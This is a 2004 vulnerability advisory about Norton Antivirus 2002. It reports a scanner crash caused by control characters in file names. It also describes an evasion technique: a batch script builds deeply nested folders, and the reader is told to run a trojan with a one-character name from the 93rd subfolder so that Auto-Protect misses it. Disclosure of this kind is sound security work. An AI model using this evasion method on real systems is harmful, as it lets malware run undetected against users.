NAV bugs!

Subject: NAV bugs!
Published: Friday, 05 March, 2004
Updated: 06-Mar-04
Discovered By: Bipin Gautam ( hUNT3R )
Product Version: Norton Antivirus 2002 [ ver: 8.00.58 ] (~Only tested On…~)
Risk Impact: Low-Medium

Details:
During a 'manual scan' of a folder, if Norton Antivirus (NAV) encounters a file /folder name with 'some' ASCII characters ( 1-31) NAV can't further proceed the manual scan and its front-end 'NAVW32.exe' crashes! This Bug has no impact in the NAV Auto-Protect Engine.
Exploit 1). : Norton Antivirus 2002 fails to scan files with special character(s) properly.
http://www.geocities.com/visitbipin/test_nav.zip
Create a folder (say: '!' ) and put some sub-folders and files in it. The file/sub-folder name must contain ASCII character(s) ( 1-31) . Have a manual scan of the folder named '!' NAV can't proceed the scan and crashes!
Exploit 2). : Norton Antivirus Auto-protect fails to stop a HOSTILE CODE… that is in the last sub dir. that windows OS can create!
Run this batch script, first and make sure you have 95 sub-folders inside the folder named '----------------------------------------------------------------' in c:\ (root)

=-------CUT----------=
@echo off
echo ( you can use, http://www.eicar.org/anti_virus_test_file.htm)
echo for a harmless test…
pause
cd\
c:
cd\
:hUNT3r
md 1
cd 1
if not errorlevel 1 goto :hUNT3r
:rename
cd\
c:
cd\
ren 1 ----------------------------------------------------------------
explorer c:
exit
=-------CUT----------=
Now… drag/drop a trojan named 1.exe (that NAV recognises as a hostile program) to the 93'rd sub-folder and execute the program from there… NAV-AUTO PROTECT is unable to scan/block the program & the trojan gets executed.
[…THIS TECHNIQUE SHOULD WORK FOR SOME OTHER ANTIVIRUS PRODUCT TOO…]

[NOTE]---------------------------------------------------------------------------------------->
drag/drop the trojan code, in a scene… FOR TEST PURPOSE you either temporarily disable your NAV and copy a trojan there and then enable NAV then and then execute the trojan . NAV is unable to scan/detect it as a virus… when it gets executed!
OR
you create a blank file and / inject a hostile code named 1.* in the 93'rd sub directory… and execute it! NAV IS UNABLE TO DETECT IT AS A VIRUS Ps: 93'rd directory is the last sub-folder that windows can create in the situation…
NOTE]----------------------------------------------------------------------------------------<
Make sure the trojan/warm.exe just have a 1 character file-name! when it is executer from 93'rd sub directory! (…Last possible DIRECTORY where the file file can be copied!)
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